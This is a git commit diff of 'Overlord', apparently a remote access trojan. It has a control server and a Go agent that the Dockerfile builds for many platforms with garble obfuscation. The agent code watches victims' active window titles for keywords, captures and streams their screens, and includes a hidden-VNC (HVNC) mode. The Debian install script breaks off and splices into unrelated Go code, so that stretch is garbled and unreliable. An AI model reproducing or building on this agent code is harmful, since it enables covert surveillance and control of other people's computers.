commit f8515a288378aba538124b2306e7f0c84d75b2fa
Author: KingKDot
Date: Thu Mar 5 00:04:26 2026 -0600
inital commit
diff --git a/.dockerignore b/.dockerignore
new file mode 100644
index 0000000..209e933
--- /dev/null
+++ b/.dockerignore
@@ -0,0 +1,38 @@
+# Node/Bun
+node_modules/
+.next/
+.cache/
+dist/
+.tmp/
+
+# Database
+*.db
+*.db-journal
+
+# Configuration (contains secrets)
+config.json
+
+# Certificates
+certs/
+*.crt
+*.key
+*.pem
+*.csr
+
+# OS
+.DS_Store
+Thumbs.db
+.idea
+.vscode
+
+# Git
+.git
+.gitignore
+.gitattributes
+
+# Build outputs
+dist-clients/
+
+# Logs
+*.log
+logs/
diff --git a/.env.example b/.env.example
new file mode 100644
index 0000000..298c3ca
--- /dev/null
+++ b/.env.example
@@ -0,0 +1,53 @@
+# Overlord Configuration (Optional Overrides)
+#
+# Most users don't need to create a .env file!
+# The docker-compose.yml has sensible defaults.
+#
+# On first startup, secrets are auto-generated and persisted in ./data/save.json
+# when not explicitly provided.
+#
+# Only create .env if you want to customize:
+
+# ============================================
+# PRODUCTION: Use pre-built image
+# ============================================
+# Set this to pull from registry instead of building locally
+# DOCKER_IMAGE=ghcr.io/yourusername/overlord-server:latest
+
+# ============================================
+# OPTIONAL: Custom initial admin username
+# ============================================
+# Default is "admin" - change if you prefer a different username
+# OVERLORD_USER=myadmin
+
+# OPTIONAL: Custom initial admin password
+# Leave empty to generate and persist to save.json
+# OVERLORD_PASS=
+
+# ============================================
+# OPTIONAL: Custom port
+# ============================================
+# Default is 5173
+# PORT=8080
+
+# ============================================
+# ADVANCED: Custom JWT secret
+# ============================================
+# Leave empty to auto-generate and persist to save.json (recommended)
+# JWT_SECRET=
+
+# OPTIONAL: Agent authentication token
+# Leave empty to auto-generate and persist to save.json
+# OVERLORD_AGENT_TOKEN=
+
+# ============================================
+# ADVANCED: Custom TLS certificates
+# ============================================
+# Leave as defaults to use auto-generated self-signed certs
+# OVERLORD_TLS_CERT=/custom/path/server.crt
+# OVERLORD_TLS_KEY=/custom/path/server.key
+
+# Agent builder settings (only needed if building agents)
+# TARGETS=windows/amd64,windows/386,windows/arm64,linux/amd64,linux/arm64,linux/arm/v7,darwin/amd64,darwin/arm64
+# GO_BUILD_FLAGS=-trimpath
+# LDFLAGS=-s -w
diff --git a/.gitattributes b/.gitattributes
new file mode 100644
index 0000000..aa43e85
--- /dev/null
+++ b/.gitattributes
@@ -0,0 +1,15 @@
+# Force LF line endings for shell scripts
+*.sh text eol=lf
+
+# Force LF line endings for Go source files
+*.go text eol=lf
+
+# Force CRLF for Windows batch files
+*.bat text eol=crlf
+
+# Binary files
+*.png binary
+*.jpg binary
+*.jpeg binary
+*.ico binary
+*.db binary
diff --git a/.github/workflows/docker-publish.yml b/.github/workflows/docker-publish.yml
new file mode 100644
index 0000000..0e3d8d2
--- /dev/null
+++ b/.github/workflows/docker-publish.yml
@@ -0,0 +1,58 @@
+name: overlord-ci
+
+on:
+ push:
+ tags:
+ - 'v*'
+ workflow_dispatch:
+
+env:
+ REGISTRY: ghcr.io
+ IMAGE_NAME: ${{ github.repository }}
+
+jobs:
+ build-and-push:
+ runs-on: ubuntu-latest
+ permissions:
+ contents: read
+ packages: write
+
+ steps:
+ - name: Checkout repository
+ uses: actions/checkout@v4
+
+ - name: Normalize image name
+ run: echo "IMAGE_NAME=${GITHUB_REPOSITORY,,}" >> $GITHUB_ENV
+
+ - name: Set up Docker Buildx
+ uses: docker/setup-buildx-action@v3
+
+ - name: Log in to GitHub Container Registry
+ uses: docker/login-action@v3
+ with:
+ registry: ${{ env.REGISTRY }}
+ username: ${{ github.actor }}
+ password: ${{ secrets.GITHUB_TOKEN }}
+
+ - name: Extract metadata
+ id: meta
+ uses: docker/metadata-action@v5
+ with:
+ images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
+ tags: |
+ type=semver,pattern={{version}}
+ type=semver,pattern={{major}}.{{minor}}
+ type=semver,pattern={{major}}
+ type=raw,value=latest,enable={{is_default_branch}}
+
+ - name: Build and push server image
+ uses: docker/build-push-action@v5
+ with:
+ context: .
+ file: ./Dockerfile
+ push: true
+ tags: ${{ steps.meta.outputs.tags }}
+ labels: ${{ steps.meta.outputs.labels }}
+ cache-from: type=gha
+ cache-to: type=gha,mode=max
+ platforms: linux/amd64,linux/arm64
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..f50f955
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,48 @@
+# Node/Bun
+node_modules/
+bun.lockb
+.next/
+.cache/
+dist/
+.tmp/
+*.db
+
+# Build output
+Overlord-Server/public/assets/tailwind.css
+
+# Configuration
+config.json
+
+# Docker
+.env
+
+# Go
+bin/
+*.exe
+*.test
+*.out
+
+# Certificates (auto-generated)
+certs/
+*.crt
+*.key
+*.pem
+*.csr
+
+# OS
+.DS_Store
+Thumbs.db
+
+dist-clients/*
+
+# Plugins
+Overlord-Server/plugins/*.zip
+Overlord-Server/plugins/.plugin-state.json
+plugin-sample-go/*.wasm
+plugin-sample-go/*.zip
+
+# Runtime data
+Overlord-Server/data/
+
+# Release packaging output
+release/
\ No newline at end of file
diff --git a/Dockerfile b/Dockerfile
new file mode 100644
index 0000000..3db313c
--- /dev/null
+++ b/Dockerfile
@@ -0,0 +1,57 @@
+# Overlord Server Dockerfile
+FROM oven/bun:1 AS base
+WORKDIR /app
+
+# Install Go for agent building and other tools
+RUN apt-get update \
+ && apt-get install -y --no-install-recommends \
+ openssl \
+ curl \
+ ca-certificates \
+ wget \
+ git \
+ && rm -rf /var/lib/apt/lists/*
+
+# Install Go (latest stable version)
+ENV GO_VERSION=1.25.6
+ARG TARGETARCH
+RUN case "${TARGETARCH}" in \
+ amd64) GO_ARCH=amd64 ;; \
+ arm64) GO_ARCH=arm64 ;; \
+ *) echo "Unsupported architecture: ${TARGETARCH}" >&2; exit 1 ;; \
+ esac \
+ && wget -q https://go.dev/dl/go${GO_VERSION}.linux-${GO_ARCH}.tar.gz \
+ && tar -C /usr/local -xzf go${GO_VERSION}.linux-${GO_ARCH}.tar.gz \
+ && rm go${GO_VERSION}.linux-${GO_ARCH}.tar.gz
+
+ENV PATH="/usr/local/go/bin:${PATH}"
+ENV GOPATH="/go"
+ENV PATH="${GOPATH}/bin:${PATH}"
+
+# Install garble for obfuscated agent builds (requires Go 1.25+)
+RUN go install mvdan.cc/garble@latest
+
+# Copy package files
+COPY Overlord-Server/package.json Overlord-Server/bun.lockb* ./
+
+# Install dependencies
+RUN bun install --frozen-lockfile
+
+# Copy source code and client code (needed for builds)
+COPY Overlord-Server/ ./
+COPY Overlord-Client/ ../Overlord-Client/
+
+# Create necessary directories
+RUN mkdir -p certs public data
+
+# Expose the default port
+EXPOSE 5173
+
+# Set environment variables (can be overridden)
+ENV PORT=5173
+ENV HOST=0.0.0.0
+ENV DATA_DIR=/app/data
+ENV NODE_ENV=production
+
+# Run the server
+CMD ["bun", "run", "src/index.ts"]
diff --git a/Install-Debian-Linux(GIVE ME SUDO).sh b/Install-Debian-Linux(GIVE ME SUDO).sh
new file mode 100644
index 0000000..7e0edad
--- /dev/null
+++ b/Install-Debian-Linux(GIVE ME SUDO).sh
@@ -0,0 +1,41 @@
+ sudo apt remove $(dpkg --get-selections docker.io docker-compose docker-doc podman-docker containerd runc | cut -f1)
+# Add Docker's official GPG key:
+sudo apt update
+sudo apt install ca-certificates curl
+sudo install -m 0755 -d /etc/apt/keyrings
+sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc
+sudo chmod a+r /etc/apt/keyrings/docker.asc
+
+# Add the repository to Apt sources:
+sudo tee /etc/apt/sources.list.d/docker.sources < 0 {
+ key := strings.ToLower(match)
+ if last, ok := lastSent[key]; ok {
+ if time.Since(time.UnixMilli(last)) < time.Duration(minIntervalMs)*time.Millisecond {
+ continue
+ }
+ }
+ lastSent[key] = time.Now().UnixMilli()
+ }
+ procPath := queryProcessPath(pid)
+ procName := filepath.Base(procPath)
+ if procName == "." || procName == "" {
+ procName = "unknown"
+ }
+ note := wire.Notification{
+ Type: "notification",
+ Category: "active_window",
+ Title: title,
+ Process: procName,
+ ProcessPath: procPath,
+ PID: int32(pid),
+ Keyword: match,
+ TS: time.Now().UnixMilli(),
+ }
+ if err := wire.WriteMsg(ctx, env.Conn, note); err != nil {
+ log.Printf("activewindow: send notification failed: %v", err)
+ }
+ }
+ }
+}
+
+func matchKeyword(title string, keywords []string) string {
+ if title == "" {
+ return ""
+ }
+ lower := strings.ToLower(title)
+ for _, kw := range keywords {
+ k := strings.ToLower(strings.TrimSpace(kw))
+ if k == "" {
+ continue
+ }
+ if strings.Contains(lower, k) {
+ return kw
+ }
+ }
+ return ""
+}
+
+func getActiveWindow() (string, uint32) {
+ hwnd := getForegroundWindow()
+ if hwnd == 0 {
+ return "", 0
+ }
+ length := getWindowTextLength(hwnd)
+ if length == 0 {
+ return "", getWindowPID(hwnd)
+ }
+ buf := make([]uint16, length+1)
+ _, _, _ = procGetWindowTextW.Call(uintptr(hwnd), uintptr(unsafe.Pointer(&buf[0])), uintptr(length+1))
+ return windows.UTF16ToString(buf), getWindowPID(hwnd)
+}
+
+func getForegroundWindow() windows.Handle {
+ hwnd, _, _ := procGetForegroundWindow.Call()
+ return windows.Handle(hwnd)
+}
+
+func getWindowTextLength(hwnd windows.Handle) int {
+ length, _, _ := procGetWindowTextLengthW.Call(uintptr(hwnd))
+ return int(length)
+}
+
+func getWindowPID(hwnd windows.Handle) uint32 {
+ var pid uint32
+ _, _, _ = procGetWindowThreadProcessId.Call(uintptr(hwnd), uintptr(unsafe.Pointer(&pid)))
+ return pid
+}
+
+func queryProcessPath(pid uint32) string {
+ h, err := windows.OpenProcess(windows.PROCESS_QUERY_LIMITED_INFORMATION, false, pid)
+ if err != nil {
+ return ""
+ }
+ defer windows.CloseHandle(h)
+ buf := make([]uint16, 1024)
+ size := uint32(len(buf))
+ if err := windows.QueryFullProcessImageName(h, 0, &buf[0], &size); err != nil {
+ return ""
+ }
+ return windows.UTF16ToString(buf[:size])
+}
diff --git a/Overlord-Client/cmd/agent/capture.go b/Overlord-Client/cmd/agent/capture.go
new file mode 100644
index 0000000..dea9390
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture.go
@@ -0,0 +1,93 @@
+package main
+
+import (
+ "bytes"
+ "context"
+ "image"
+ "image/jpeg"
+
+ rt "overlord-client/cmd/agent/runtime"
+ "overlord-client/cmd/agent/wire"
+
+ "github.com/kbinani/screenshot"
+)
+
+var (
+ activeDisplays = screenshot.NumActiveDisplays
+ captureDisplayFn = screenshot.CaptureDisplay
+)
+
+func captureLoop(ctx context.Context, env *rt.Env) {
+
+ if supportsCapture() {
+ _ = captureAndSend(ctx, env)
+ }
+
+ <-ctx.Done()
+}
+
+func supportsCapture() bool {
+
+ return safeDisplayCount() > 0
+}
+
+func captureAndSend(ctx context.Context, env *rt.Env) error {
+ if safeDisplayCount() == 0 {
+ return nil
+ }
+ img, err := safeCaptureDisplay(0)
+ if err != nil {
+ return err
+ }
+ if img == nil {
+ return nil
+ }
+
+ buf := bytes.Buffer{}
+ if err := jpeg.Encode(&buf, img, &jpeg.Options{Quality: 60}); err != nil {
+ return err
+ }
+ frame := wire.Frame{
+ Type: "frame",
+ Header: wire.FrameHeader{Monitor: 0, FPS: 1, Format: "jpeg"},
+ Data: buf.Bytes(),
+ }
+ return wire.WriteMsg(ctx, env.Conn, frame)
+}
+
+func CaptureNow(ctx context.Context, env *rt.Env) error {
+ if !supportsCapture() {
+ return nil
+ }
+ return captureAndSend(ctx, env)
+}
+
+func safeCaptureDisplay(display int) (*image.RGBA, error) {
+ defer func() {
+ if recover() != nil {
+
+ }
+ }()
+ img, err := captureDisplayFn(display)
+ if err != nil {
+ return nil, err
+ }
+ return img, nil
+}
+
+func safeDisplayCount() int {
+ defer func() {
+ if recover() != nil {
+ }
+ }()
+ return activeDisplays()
+}
+
+func monitorCount() int {
+ n := safeDisplayCount()
+ if n <= 0 {
+
+ return 1
+ }
+ return n
+}
diff --git a/Overlord-Client/cmd/agent/capture/capture.go b/Overlord-Client/cmd/agent/capture/capture.go
new file mode 100644
index 0000000..510efc5
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/capture.go
@@ -0,0 +1,1251 @@
+package capture
+
+import (
+ "bytes"
+ "context"
+ "encoding/binary"
+ "image"
+ "image/draw"
+ "log"
+ "os"
+ goruntime "runtime"
+ "sort"
+ "strconv"
+ "strings"
+ "sync"
+ "sync/atomic"
+ "time"
+
+ rt "overlord-client/cmd/agent/runtime"
+ "overlord-client/cmd/agent/wire"
+)
+
+func Loop(ctx context.Context, env *rt.Env) {
+ defer recoverAndLog("capture loop", env.Cancel)
+
+ if env.Cfg.DisableCapture {
+ log.Printf("capture: disabled by config, sending black placeholder")
+
+ if err := sendBlackFrame(ctx, env); err != nil {
+ log.Printf("capture: black frame failed: %v", err)
+ }
+ } else if supportsCapture() {
+
+ done := make(chan struct{})
+ goSafe("capture initial frame", env.Cancel, func() {
+ defer close(done)
+ var err error
+ if goruntime.GOOS == "windows" && activeDisplays() > 1 {
+ err = captureAllDisplaysAndSend(ctx, env)
+ } else {
+ err = CaptureAndSend(ctx, env)
+ }
+ if err != nil {
+ log.Printf("capture: initial frame failed: %v (continuing anyway)", err)
+ } else {
+ log.Printf("capture: initial frame sent")
+ }
+ })
+
+ select {
+ case <-done:
+
+ case <-time.After(3 * time.Second):
+ log.Printf("capture: initial frame timed out after 3s (continuing anyway)")
+ }
+ } else {
+ log.Printf("capture: no displays detected; skipping initial frame")
+ }
+ <-ctx.Done()
+}
+
+func Now(ctx context.Context, env *rt.Env) error {
+ if env.Cfg.DisableCapture {
+ return sendBlackFrame(ctx, env)
+ }
+ if !supportsCapture() {
+ return nil
+ }
+ return CaptureAndSend(ctx, env)
+}
+
+func CaptureDisplayRGBA(display int) (*image.RGBA, error) {
+ if !supportsCapture() {
+ return nil, nil
+ }
+ if display < 0 || display >= safeDisplayCount() {
+ display = 0
+ }
+ return safeCaptureDisplay(display)
+}
+
+func CaptureAndSend(ctx context.Context, env *rt.Env) error {
+ defer recoverAndLog("capture send", env.Cancel)
+
+ displays := activeDisplays()
+ if displays == 0 {
+ log.Printf("capture: no displays available")
+ return nil
+ }
+ display := env.SelectedDisplay
+ if display < 0 || display >= displays {
+ display = 0
+ log.Printf("capture: requested display %d out of range, defaulting to 0 (monitors=%d)", env.SelectedDisplay, displays)
+ }
+ t0 := time.Now()
+ img, err := safeCaptureDisplay(display)
+ if err != nil {
+ log.Printf("capture: capture failed: %v (sending black frame)", err)
+ return sendBlackFrame(ctx, env)
+ }
+ if img == nil {
+ log.Printf("capture: capture returned nil image (sending black frame)")
+ return sendBlackFrame(ctx, env)
+ }
+ captureDur := time.Since(t0)
+
+ quality := jpegQuality()
+ frame, encodeDur, err := buildFrame(img, display, quality)
+ if err != nil {
+ return err
+ }
+ now := time.Now()
+ fps := frameFPS(now)
+ if fps <= 0 {
+ fps = 1
+ }
+ frame.Header.FPS = fps
+ if ctx.Err() != nil {
+ return nil
+ }
+ sendStart := time.Now()
+ err = wire.WriteMsg(ctx, env.Conn, frame)
+ sendDur := time.Since(sendStart)
+ if shouldLogFrame(now) {
+ total := time.Since(t0)
+ frames := statFrames.Load()
+ capAvg := avgMs(statCapNs.Load(), frames)
+ encAvg := avgMs(statEncNs.Load(), frames)
+ sendAvg := avgMs(statSendNs.Load(), frames)
+ totalAvg := avgMs(statTotalNs.Load(), frames)
+ bytesAvg := avgBytes(statBytes.Load(), frames)
+ detectAvg := avgMs(statDetectNs.Load(), frames)
+ mergeAvg := avgMs(statMergeNs.Load(), frames)
+ blkJpegAvg := avgMs(statBlkJpegNs.Load(), frames)
+ prevCopyAvg := avgMs(statPrevCopyNs.Load(), frames)
+ full := statFullFrames.Load()
+ blocks := statBlockFrames.Load()
+ keep := statKeepaliveFrames.Load()
+ regions := statBlockRegions.Load()
+ fallbacks := statBlockFallbacks.Load()
+ avgRegions := float64(0)
+ if blocks > 0 {
+ avgRegions = float64(regions) / float64(blocks)
+ }
+ log.Printf("capture: stream display=%d fps≈%d format=%s size=%d cap=%s enc=%s send=%s total=%s | avg cap=%.2fms enc=%.2fms send=%.2fms total=%.2fms avgSize=%.0fB frames=%d detect=%.2fms merge=%.2fms blkJpeg=%.2fms prevCopy=%.2fms full=%d blocks=%d keep=%d fallbacks=%d avgRegions=%.2f", display, fps, frame.Header.Format, len(frame.Data), captureDur, encodeDur, sendDur, total, capAvg, encAvg, sendAvg, totalAvg, bytesAvg, frames, detectAvg, mergeAvg, blkJpegAvg, prevCopyAvg, full, blocks, keep, fallbacks, avgRegions)
+ resetStats()
+ }
+
+ statFrames.Add(1)
+ statCapNs.Add(captureDur.Nanoseconds())
+ statEncNs.Add(encodeDur.Nanoseconds())
+ statSendNs.Add(sendDur.Nanoseconds())
+ statTotalNs.Add(time.Since(t0).Nanoseconds())
+ statBytes.Add(int64(len(frame.Data)))
+ return err
+}
+
+// captureAllDisplaysAndSend stitches all monitors into a single image and sends
+// it as the initial frame. Used on Windows so the dashboard thumbnail shows
+// every monitor, not just the primary one.
+func captureAllDisplaysAndSend(ctx context.Context, env *rt.Env) error {
+ defer recoverAndLog("capture all displays send", env.Cancel)
+
+ n := activeDisplays()
+ if n <= 0 {
+ return nil
+ }
+
+ type monCapture struct {
+ bounds image.Rectangle
+ img *image.RGBA
+ }
+ parts := make([]monCapture, 0, n)
+ minX, minY := int(1e9), int(1e9)
+ maxX, maxY := int(-1e9), int(-1e9)
+
+ for i := 0; i < n; i++ {
+ bounds := displayBounds(i)
+ img, err := safeCaptureDisplay(i)
+ if err != nil || img == nil {
+ log.Printf("capture: all-displays: display %d failed: %v, falling back to single", i, err)
+ return CaptureAndSend(ctx, env)
+ }
+ parts = append(parts, monCapture{bounds: bounds, img: img})
+ if bounds.Min.X < minX {
+ minX = bounds.Min.X
+ }
+ if bounds.Min.Y < minY {
+ minY = bounds.Min.Y
+ }
+ if bounds.Max.X > maxX {
+ maxX = bounds.Max.X
+ }
+ if bounds.Max.Y > maxY {
+ maxY = bounds.Max.Y
+ }
+ }
+
+ canvas := image.NewRGBA(image.Rect(0, 0, maxX-minX, maxY-minY))
+ for _, part := range parts {
+ offX := part.bounds.Min.X - minX
+ offY := part.bounds.Min.Y - minY
+ dst := image.Rect(offX, offY, offX+part.img.Rect.Dx(), offY+part.img.Rect.Dy())
+ draw.Draw(canvas, dst, part.img, part.img.Rect.Min, draw.Src)
+ }
+
+ quality := jpegQuality()
+ frame, _, err := buildFrame(canvas, 0, quality)
+ if err != nil {
+ return err
+ }
+ frame.Header.FPS = 1
+ log.Printf("capture: all-displays initial frame %dx%d (%d monitors)", canvas.Rect.Dx(), canvas.Rect.Dy(), n)
+ return wire.WriteMsg(ctx, env.Conn, frame)
+}
+
+func supportsCapture() bool {
+ return safeDisplayCount() > 0
+}
+
+func safeCaptureDisplay(display int) (*image.RGBA, error) {
+ defer func() {
+ _ = recover()
+ }()
+ img, err := captureDisplayFn(display)
+ if err != nil {
+ return nil, err
+ }
+ return img, nil
+}
+
+func safeDisplayCount() int {
+ defer func() {
+ _ = recover()
+ }()
+ return displayCount()
+}
+
+func sendBlackFrame(ctx context.Context, env *rt.Env) error {
+ if ctx.Err() != nil {
+ return nil
+ }
+
+ img := image.NewRGBA(image.Rect(0, 0, 64, 64))
+
+ quality := 60
+ frame, _, err := buildFrame(img, 0, quality)
+ if err != nil {
+ return err
+ }
+ frame.Header.FPS = 1
+ return wire.WriteMsg(ctx, env.Conn, frame)
+}
+
+func MonitorCount() int {
+ n := safeDisplayCount()
+ if n <= 0 {
+ return 1
+ }
+ return n
+}
+
+const frameLogInterval = 5 * time.Second
+
+var (
+ fpsWindowStart atomic.Int64
+ fpsCount atomic.Int64
+ fpsLatest atomic.Int64
+ lastFrameLog atomic.Int64
+ lastKeyframe atomic.Int64
+ fullNextFrames atomic.Int64
+
+ statFrames atomic.Int64
+ statCapNs atomic.Int64
+ statEncNs atomic.Int64
+ statSendNs atomic.Int64
+ statTotalNs atomic.Int64
+ statBytes atomic.Int64
+ statDetectNs atomic.Int64
+ statMergeNs atomic.Int64
+ statBlkJpegNs atomic.Int64
+ statPrevCopyNs atomic.Int64
+ statFullFrames atomic.Int64
+ statBlockFrames atomic.Int64
+ statKeepaliveFrames atomic.Int64
+ statBlockRegions atomic.Int64
+ statBlockFallbacks atomic.Int64
+
+ overrideQuality atomic.Int64
+ overrideCodec atomic.Value
+
+ prevMu sync.Mutex
+ prevFrame *prevImage
+)
+
+type prevImage struct {
+ w int
+ h int
+ pix []byte
+}
+
+func frameFPS(now time.Time) int {
+ start := fpsWindowStart.Load()
+ if start == 0 {
+ if fpsWindowStart.CompareAndSwap(0, now.UnixNano()) {
+ fpsCount.Store(1)
+ return int(fpsLatest.Load())
+ }
+ start = fpsWindowStart.Load()
+ }
+
+ fpsCount.Add(1)
+ elapsed := time.Duration(now.UnixNano() - start)
+ if elapsed >= time.Second {
+ frames := fpsCount.Swap(0)
+ if frames > 0 {
+ fps := int(float64(frames) / elapsed.Seconds())
+ fpsLatest.Store(int64(fps))
+ }
+ fpsWindowStart.Store(now.UnixNano())
+ }
+
+ return int(fpsLatest.Load())
+}
+
+func shouldLogFrame(now time.Time) bool {
+ last := time.Unix(0, lastFrameLog.Load())
+ if now.Sub(last) >= frameLogInterval {
+ lastFrameLog.Store(now.UnixNano())
+ return true
+ }
+ return false
+}
+
+func requestFullFrames(count int) {
+ if count <= 0 {
+ return
+ }
+ fullNextFrames.Store(int64(count))
+}
+
+func consumeFullFrame() bool {
+ for {
+ val := fullNextFrames.Load()
+ if val <= 0 {
+ return false
+ }
+ if fullNextFrames.CompareAndSwap(val, val-1) {
+ return true
+ }
+ }
+}
+
+func ResetPrev() {
+ prevMu.Lock()
+ prevFrame = nil
+ prevMu.Unlock()
+ lastKeyframe.Store(0)
+ requestFullFrames(2)
+}
+
+func jpegQuality() int {
+
+ if q := overrideQuality.Load(); q > 0 {
+ return int(q)
+ }
+ q := int(loadOnceInt(&cachedJPEGQuality, 95))
+ if q < 20 {
+ q = 20
+ }
+ if q > 100 {
+ q = 100
+ }
+ return q
+}
+
+var (
+ jpegQualityOnce sync.Once
+ cachedJPEGQuality int64
+ blockCodecOnce sync.Once
+ cachedBlockCodec string
+)
+
+func loadOnceInt(target *int64, def int) int64 {
+ jpegQualityOnce.Do(func() {
+ if env := os.Getenv("OVERLORD_JPEG_QUALITY"); env != "" {
+ if v, err := strconv.Atoi(env); err == nil {
+ *target = int64(v)
+ return
+ }
+ }
+ *target = int64(def)
+ })
+ return atomic.LoadInt64(target)
+}
+
+func resetStats() {
+ statFrames.Store(0)
+ statCapNs.Store(0)
+ statEncNs.Store(0)
+ statSendNs.Store(0)
+ statTotalNs.Store(0)
+ statBytes.Store(0)
+ statDetectNs.Store(0)
+ statMergeNs.Store(0)
+ statBlkJpegNs.Store(0)
+ statPrevCopyNs.Store(0)
+ statFullFrames.Store(0)
+ statBlockFrames.Store(0)
+ statKeepaliveFrames.Store(0)
+ statBlockRegions.Store(0)
+ statBlockFallbacks.Store(0)
+}
+
+func avgMs(ns int64, frames int64) float64 {
+ if frames == 0 {
+ return 0
+ }
+ return float64(ns) / 1e6 / float64(frames)
+}
+
+func avgBytes(b int64, frames int64) float64 {
+ if frames == 0 {
+ return 0
+ }
+ return float64(b) / float64(frames)
+}
+
+const (
+ blockSize = 64
+ maxBlockRatio = 0.40
+ keyframeEvery = 5 * time.Second
+ enableBlocks = true
+ samplingRate = 3
+ minBlockSize = 32
+ changeThresh = 3
+ blockMargin = 8
+ blockCodecEnv = "OVERLORD_BLOCK_CODEC"
+ cursorROIMargin = 32
+ windowROIMargin = 12
+
+ hvncSamplingRate = 1
+ hvncChangeThresh = 1
+)
+
+func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Duration, error) {
+ encStart := time.Now()
+ width := img.Bounds().Dx()
+ height := img.Bounds().Dy()
+ full := false
+ now := time.Now()
+ codec := blockCodec()
+
+ if !enableBlocks {
+ jpegBytes, err := encodeJPEG(img, quality)
+ prevMu.Lock()
+ copyPrev(img)
+ prevMu.Unlock()
+ return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg"}, Data: jpegBytes}, time.Since(encStart), err
+ }
+
+ prevMu.Lock()
+ pf := prevFrame
+ prevMu.Unlock()
+
+ if pf == nil || pf.w != width || pf.h != height {
+ full = true
+ }
+
+ if consumeFullFrame() {
+ full = true
+ }
+
+ if !full && keyframeEvery > 0 {
+ last := time.Unix(0, lastKeyframe.Load())
+ if now.Sub(last) >= keyframeEvery {
+ full = true
+ }
+ }
+
+ if full {
+ jpegBytes, err := encodeJPEG(img, quality)
+ prevMu.Lock()
+ copyPrev(img)
+ prevMu.Unlock()
+ lastKeyframe.Store(now.UnixNano())
+ statFullFrames.Add(1)
+ return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg"}, Data: jpegBytes}, time.Since(encStart), err
+ }
+
+ blocks, blockPayload, encDur, err := encodeBlocks(img, pf, quality, codec, display)
+ if err != nil {
+ return wire.Frame{}, encDur, err
+ }
+
+ if blocks == 0 {
+
+ prevMu.Lock()
+ copyPrev(img)
+ prevMu.Unlock()
+ statKeepaliveFrames.Add(1)
+ return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "blocks"}, Data: blockPayload}, encDur, nil
+ }
+
+ totalBlocks := ((width + blockSize - 1) / blockSize) * ((height + blockSize - 1) / blockSize)
+ changedRatio := float64(blocks) / float64(totalBlocks)
+
+ if changedRatio > maxBlockRatio {
+ jpegBytes, err := encodeJPEG(img, quality)
+ prevMu.Lock()
+ copyPrev(img)
+ prevMu.Unlock()
+ lastKeyframe.Store(now.UnixNano())
+ statBlockFallbacks.Add(1)
+ statFullFrames.Add(1)
+ return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg"}, Data: jpegBytes}, time.Since(encStart), err
+ }
+
+ statBlockFrames.Add(1)
+ statBlockRegions.Add(int64(blocks))
+ format := "blocks"
+ if codec == "raw" {
+ format = "blocks_raw"
+ }
+ return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: format}, Data: blockPayload}, encDur, nil
+}
+
+func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time.Duration, error) {
+ encStart := time.Now()
+ width := img.Bounds().Dx()
+ height := img.Bounds().Dy()
+ codec := blockCodec()
+
+ now := time.Now()
+ prevMu.Lock()
+ pf := prevFrame
+ prevMu.Unlock()
+
+ if pf == nil || pf.w != width || pf.h != height || now.Sub(time.Unix(0, lastKeyframe.Load())) > keyframeEvery {
+ jpegBytes, err := encodeJPEG(img, quality)
+ prevMu.Lock()
+ copyPrev(img)
+ prevMu.Unlock()
+ lastKeyframe.Store(now.UnixNano())
+ statFullFrames.Add(1)
+ frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", HVNC: true}, Data: jpegBytes}
+ return frame, time.Since(encStart), err
+ }
+
+ // use strict block detection for HVNC otherwise half the time it just doesn't fucking update pictures
+ // because of how slow the capture shit is.
+ blocks, blockPayload, encDur, err := encodeBlocksHVNC(img, pf, quality, codec, display)
+ if err != nil {
+ return wire.Frame{}, encDur, err
+ }
+
+ if blocks == 0 {
+ prevMu.Lock()
+ copyPrev(img)
+ prevMu.Unlock()
+ statKeepaliveFrames.Add(1)
+ frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "blocks", HVNC: true}, Data: blockPayload}
+ return frame, encDur, nil
+ }
+
+ totalBlocks := ((width + blockSize - 1) / blockSize) * ((height + blockSize - 1) / blockSize)
+ changedRatio := float64(blocks) / float64(totalBlocks)
+
+ if changedRatio > maxBlockRatio {
+ jpegBytes, err := encodeJPEG(img, quality)
+ prevMu.Lock()
+ copyPrev(img)
+ prevMu.Unlock()
+ lastKeyframe.Store(now.UnixNano())
+ statBlockFallbacks.Add(1)
+ statFullFrames.Add(1)
+ frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", HVNC: true}, Data: jpegBytes}
+ return frame, time.Since(encStart), err
+ }
+
+ statBlockFrames.Add(1)
+ statBlockRegions.Add(int64(blocks))
+ format := "blocks"
+ if codec == "raw" {
+ format = "blocks_raw"
+ }
+ frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: format, HVNC: true}, Data: blockPayload}
+ return frame, encDur, nil
+}
+
+type streamRegion struct{ x, y, w, h int }
+
+type roiHint struct {
+ rect image.Rectangle
+ weight int
+}
+
+func encodeBlocks(img *image.RGBA, prev *prevImage, quality int, codec string, display int) (int, []byte, time.Duration, error) {
+ width := img.Bounds().Dx()
+ height := img.Bounds().Dy()
+ stride := img.Stride
+ prevStride := prev.w * 4
+ rois := collectROIHints(display, width, height)
+
+ blocksWide := (width + blockSize - 1) / blockSize
+ blocksHigh := (height + blockSize - 1) / blockSize
+ changedGrid := make([]bool, blocksWide*blocksHigh)
+
+ changedCount := 0
+ passDetectStart := time.Now()
+ for by := 0; by < blocksHigh; by++ {
+ for bx := 0; bx < blocksWide; bx++ {
+ x := bx * blockSize
+ y := by * blockSize
+ ww := blockSize
+ hh := blockSize
+ if x+ww > width {
+ ww = width - x
+ }
+ if y+hh > height {
+ hh = height - y
+ }
+
